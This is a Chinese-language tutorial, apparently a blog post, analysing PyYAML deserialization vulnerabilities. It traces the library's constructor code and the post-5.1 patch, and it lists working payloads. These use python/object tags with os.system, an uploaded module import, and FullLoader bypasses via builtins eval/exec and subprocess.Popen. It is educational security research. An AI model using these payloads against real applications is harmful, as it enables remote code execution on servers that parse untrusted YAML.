PyYAML反序列化漏洞
PyYAML反序列化漏洞
关于yaml的基本知识可以到菜鸟教程学习
yaml语言我老是在docker-compsoe.yml见到它,像这样
version: '2'
services:
web:
build: .
ports:
- "8000:8000"
volumes:
- ./app.py:/usr/src/app.py
下面就开始简单认识一下这个玩意儿,以及其中的反序列化漏洞利用
yaml的基本语法
大小写敏感
使用空格代替tab键缩进表示层级,对齐即可表示同级
'#'注释内容
在同一个yml文件中用
------
隔开多份配置
!!
表示强制类型转换
yaml的数据类型
YAML 对象
键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格(这类用":"分隔的数据转化为python格式就是字典):
key: child-key: value child-key2: value2
YAML 数组
一组按次序排列的值,又称为序列(sequence) / 列表(list)
以 - 开头的行表示构成一个数组("-"后携带的数据转化为python格式就是列表):
- A - B - C
YAML 纯量
单个的、不可再分的值
字符串、布尔值、整数、浮点数、Null、时间、日期
boolean: - TRUE #true,True都可以 - FALSE #false,False都可以 float: - 3.14 - 6.8523015e+5 #可以使用科学计数法 int: - 123 - 0b1010_0111_0100_1010_1110 #二进制表示 null: nodeName: 'node' parent: ~ #使用~表示null string: - 哈哈 - 'Hello world' #可以使用双引号或者单引号包裹特殊字符 - newline newline2 #字符串可以拆成多行,每一行会被转化成一个空格 date: - 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd datetime: - 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
强制类型转换
yaml本身支持强制类型转化
用特有的yaml标签来指定转化的类型
像强制转化为str类型就是!!str
如下
str: !!str 321
int: !!int "123"
结果
{'int': 123,'str': '321'}
原本整数类型的321被转换为str类型,字符串类型的123被转换为int类型
pyyaml下支持所有yaml标签转化为python对应类型:
最后有五个功能强大的yaml标签,支持转化为指定的python模块,类,方法以及对象实例
!!python/name:module.name module.name
!!python/module:package.module package.module
!!python/object:module.cls module.cls instance
!!python/object/new:module.cls module.cls instance
!!python/object/apply:module.f value of f(...)
Pyyaml<=5.1
在Pyyaml提供以下两类方法来实现python和yaml两种语言格式的互相转化
python-> yaml
load(data)#加载单个 YAML 配置
load(data, Loader=yaml.Loader)#指定加载器有BaseLoader、SafeLoader
load_all(data)#加载多个 YAML 配置
load_all(data, Loader=yaml.Loader)#指定加载器
yaml.load()
方法的作用是将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据
Loader就是用来指定加载器
BaseConstructor
:最最基础的构造器,不支持强制类型转换
SafeConstructor
:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
Constructor
:在 YAML 规范上新增了很多强制类型转换(5.1以下默认此加载器,很危险)
接收的data参数可以是yaml格式的字串、Unicode字符串、二进制文件对象或者打开的文本文件对象
yaml -> python
yaml.dump(data)
dump接收的参数就是python对象包括对象实例、字典、列表等类型数据
dump后python的对象实例转化最终是变成一串yaml格式的字符,所以这种情况我们愿称之为序列化,反之load就是在反序列化
五个complex标签的认识及利用
!!python/object/apply
通过调试,进入yaml模块源码yaml/constructor.py中,找到!!python/object/apply
标签的处理函数,construct_python_object_apply
,如下:
def construct_python_object_apply(self, suffix, node, newobj=False):
# Format:
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
# The difference between !!python/object/apply and !!python/object/new
# is how an object is created, check make_python_instance for details.
if isinstance(node, SequenceNode):
args = self.construct_sequence(node, deep=True)
kwds = {}
state = {}
listitems = []
dictitems = {}
else:
value = self.construct_mapping(node, deep=True)
args = value.get('args', [])
kwds = value.get('kwds', {})
state = value.get('state', {})
listitems = value.get('listitems', [])
dictitems = value.get('dictitems', {})
instance = self.make_python_instance(suffix, node, args, kwds, newobj)
if state:
self.set_python_instance_state(instance, state)
if listitems:
instance.extend(listitems)
if dictitems:
for key in dictitems:
instance[key] = dictitems[key]
return instance
然后会调用make_python_instance
方法
又进入了find_python_name
方法,通过__import__
将模块导入进来
经过测试,针对!!python/object/apply
标签的payload如下
yaml.load("!!python/object/apply:os.system [calc.exe]")# 命令的单双引号加不加都可以
yaml.load("""
!!python/object/apply:os.system
- calc.exe
""")
yaml.load("""
!!python/object/apply:os.system
args: ["calc.exe"]
""")
!!python/object/new
constructor.py中也能找到处理函数
def construct_python_object_new(self, suffix, node):
return self.construct_python_object_apply(suffix, node, newobj=True)
从代码可以看出!!python/object/new
标签最终也是调用construct_python_object_apply
方法
尽管newobj的值是Ture,但是在测试之后发现并不影响利用
原理跟上面一样,最终进入了find_python_name
方法,通过__import__
将模块导入进来
针对 !!python/object/new
标签的payload如下:
yaml.load("!!python/object/new:os.system [calc.exe]")# 命令的单双引号加不加都可以
yaml.load("""
!!python/object/new:os.system
- calc.exe
""")
yaml.load("""
!!python/object/new:os.system
args: ["calc.exe"]
""")
!!python/object
constructor.py中也能找到!!python/object
标签的处理函数:
def construct_python_object(self, suffix, node):
# Format:
# !!python/object:module.name { ... state ... }
instance = self.make_python_instance(suffix, node, newobj=True)
yield instance
deep = hasattr(instance, '__setstate__')
state = self.construct_mapping(node, deep=deep)
self.set_python_instance_state(instance, state)
可以看到也是调用了make_python_instance
方法
但是有一个致命问题就是没有像前面的调用一样,把命令作为参数传进去
在这里参数为空,命令就无法执行
!!python/module
该标签在constructor.py中处理函数
def construct_python_module(self, suffix, node):
value = self.construct_scalar(node)
if value:
raise ConstructorError("while constructing a Python module", node.start_mark,
"expected the empty value, but found %r" % value, node.start_mark)
return self.find_python_module(suffix, node.start_mark)
这里调用了find_python_module
方法,跟find_python_name
方法很像,返回的结果是模块名而已
def find_python_module(self, name, mark):
if not name:
raise ConstructorError("while constructing a Python module", mark,
"expected non-empty name appended to the tag", mark)
try:
__import__(name)
except ImportError as exc:
raise ConstructorError("while constructing a Python module", mark,
"cannot find module %r (%s)" % (name, exc), mark)
return sys.modules[name]
这里没有任何可以对命令参数处理的地方,跟上一个其实差不多
!!python/name
该标签在constructor.py中处理函数
def construct_python_name(self, suffix, node):
value = self.construct_scalar(node)
if value:
raise ConstructorError("while constructing a Python name", node.start_mark,
"expected the empty value, but found %r" % value, node.start_mark)
return self.find_python_name(suffix, node.start_mark)
这里也是跟!!python/module
一样陷入窘境
针对上面
!!python/name:module.name module.name
!!python/module:package.module package.module
!!python/object:module.cls module.cls instance
这三个不能直接执行命令的标签,条件允许其实有其他办法
原理
利用现有文件上传或者写文件的功能,传入一个写入命令执行代码的文件
将文件名写入标签中,当该标签被反序列化时,就可以顺利导入该文件作为模块,执行当中的命令
利用方式
文件名yaml_test.py
import os
os.system('mate-calc')
如果在另一文件simple.py中,依次运行以下load代码
import yaml
yaml.load("!!python/module:yaml_test" )
#exp方法是随意写的,是不存在的,但必须要有,因为这是命名规则,不然会报错,主要是文件名yaml_test要写对
yaml.load("!!python/object:yaml_test.exp" )
yaml.load("!!python/name:yaml_test.exp" )
都能成功弹出计算器
当然!!python/object/new
和 !!python/object/apply
也可以用这种方式实现利用
yaml.load('!!python/object/apply:yaml_test.exp {}' )
yaml.load('!!python/object/new:yaml_test.exp {}' )
以上要求是在同一目录下
如果不在同一目录下怎么办
好比如这种情况
├── simple.py
└── uploads
└── yaml_test.py
那payload稍作修改,在文件名前加入目录名可
#经过测试只有modle标签可行
yaml.load("!!python/module:uploads.yaml_test" )
当然文件名写成__init__.py
将会更简单
payload只需目录即可
而且apply和new两个标签也可以构造利用了
yaml.load("!!python/module:uploads" )
#exp表示着类实例,可以写成其他,虽不存在但是一定要有,否则报错
yaml.load('!!python/object/apply:uploads.exp {}' )
yaml.load('!!python/object/new:uploads.exp {}' )
漏洞的修复
大于5.1的版本,打了补丁
通过调试发现
find_python_name方法(还有find_python_mdule方法也一样)增加了一个默认unsafe为false的值
就无法直接__import__
,最终会报错
def find_python_name(self, name, mark, unsafe=False):
if not name:
raise ConstructorError("while constructing a Python object", mark,
"expected non-empty name appended to the tag", mark)
if u'.' in name:
module_name, object_name = name.rsplit('.', 1)
else:
module_name = '__builtin__'
object_name = name
if unsafe:
try:
__import__(module_name)
except ImportError, exc:
raise ConstructorError("while constructing a Python object", mark,
"cannot find module %r (%s)" % (module_name.encode('utf-8'), exc), mark)
//这里查看是不是在sys.moudles字典里,不是就会进入直接报错
if module_name not in sys.modules:
raise ConstructorError("while constructing a Python object", mark,
"module %r is not imported" % module_name.encode('utf-8'), mark)
module = sys.modules[module_name]
if not hasattr(module, object_name):
raise ConstructorError("while constructing a Python object", mark,
"cannot find %r in the module %r" % (object_name.encode('utf-8'),
module.__name__), mark)
return getattr(module, object_name)
接下来执行这一段
if not (unsafe or isinstance(cls, type) or isinstance(cls, type(self.classobj))):
raise ConstructorError("while constructing a Python instance", node.start_mark,
"expected a class, but found %r" % type(cls),
node.start_mark)
PyYAML >5.1
在PyYAML>=5.1版本中,提供了以下方法用于加载yaml语言:
load(data) [works under certain conditions]
load(data, Loader=yaml.Loader) #loader可选择BaseLoader、SafeLoader、FullLoader、UnsafeLoader
load_all(data) [works under certain condition]
load_all(data, Loader=yaml.Loader) #loader可选择BaseLoader、SafeLoader、FullLoader、UnsafeLoader
full_load(data)
full_load_all(data)
unsafe_load(data)
unsafe_load_all(data)
在5.1之后的yaml中load函数被限制使用了,会被警告提醒加上一个参数 Loader
1.py:3: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
针对不同的需要,选择不同的加载器,有以下几种加载器
BaseConstructor:仅加载最基本的YAML
SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)
FullConstructor:加载的模块必须位于
sys.modules
中(说明程序已经 import 过了才让加载)。这个是默认的加载器。UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
Constructor:等同于UnsafeConstructor
如果说指定的加载器是UnsafeConstructor
或者Constructor
,那么利用方式就照旧
Fullloader加载模式的对漏洞利用的限制
-
如果不执行只是为了单纯导入模块,那么需要
sys.modules
字典中有我们的模块,否则报错报错内容:yaml.constructor.ConstructorError: while constructing a Python object
module 'subprocess' is not imported例如
-
如果要执行,那么
sys.modules
字典中要有利用模块,并且加载进来的module.name
必须是一个类而不能是方法,否则就会报错报错内容:yaml.constructor.ConstructorError: while constructing a Python instance
expected a class, but found <class 'builtin_function_or_method'>
认识builtins模块
builtins
是python的内建模块,所谓内建模块就是你在使用时不需要import
,在python启
动后,在没有执行程序员编写的任何代码前,python会加载内建模块中的函数到内存中。
而且我发现在find_python_name
处理不带.
,也就是module为空的情况下,自动默认module为builtins
,并且该模块是在sys.modules
中的
用下面程序可以看看该模块下有哪些成员
import builtins
def print_all(module_):
modulelist = dir(module_)
length = len(modulelist)
for i in range(0,length,1):
print (getattr(module_,modulelist[i]))
print_all(builtins)
有足足153个,稍改一下程序排除掉方法,筛选出类成员
ArithmeticError,AssertionError,AttributeError,BaseException,BlockingIOError,BrokenPipeError,BufferError,BytesWarning,ChildProcessError,ConnectionAbortedError,ConnectionError,ConnectionRefusedError,ConnectionResetError,DeprecationWarning,EOFError,OSError,Exception,FileExistsError,FileNotFoundError,FloatingPointError,FutureWarning,GeneratorExit,OSError,ImportError,ImportWarning,IndentationError,IndexError,InterruptedError,IsADirectoryError,KeyError,KeyboardInterrupt,LookupError,MemoryError,ModuleNotFoundError,NameError,NotADirectoryError,NotImplementedError,OSError,OverflowError,PendingDeprecationWarning,PermissionError,ProcessLookupError,RecursionError,ReferenceError,ResourceWarning,RuntimeError,RuntimeWarning,StopAsyncIteration,StopIteration,SyntaxError,SyntaxWarning,SystemError,SystemExit,TabError,TimeoutError,TypeError,UnboundLocalError,UnicodeDecodeError,UnicodeEncodeError,UnicodeError,UnicodeTranslateError,UnicodeWarning,UserWarning,ValueError,Warning,OSError,ZeroDivisionError,_frozen_importlib.BuiltinImporter,bool,bytearray,bytes,classmethod,complex,dict,enumerate,filter,float,frozenset,int,list,map,memoryview,object,property,range,reversed,set,slice,staticmethod,str,super,tuple,type,zip
payload
我们可以用python的内置函数eval
(或者exec
)来执行代码,用map
来触发函数执行,用tuple
将map对象转化为元组输出来(当然用list
、frozenset
、bytes
都可以),用python写出来如下
tuple(map(eval, ["__import__('os').system('whoami')"]))
变为yaml
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
除此之外网上还有很多大佬有其他的payload
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
#报错但是执行了
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
局限
我经过测试pyyaml到5.4之后,上面的payload基本用不了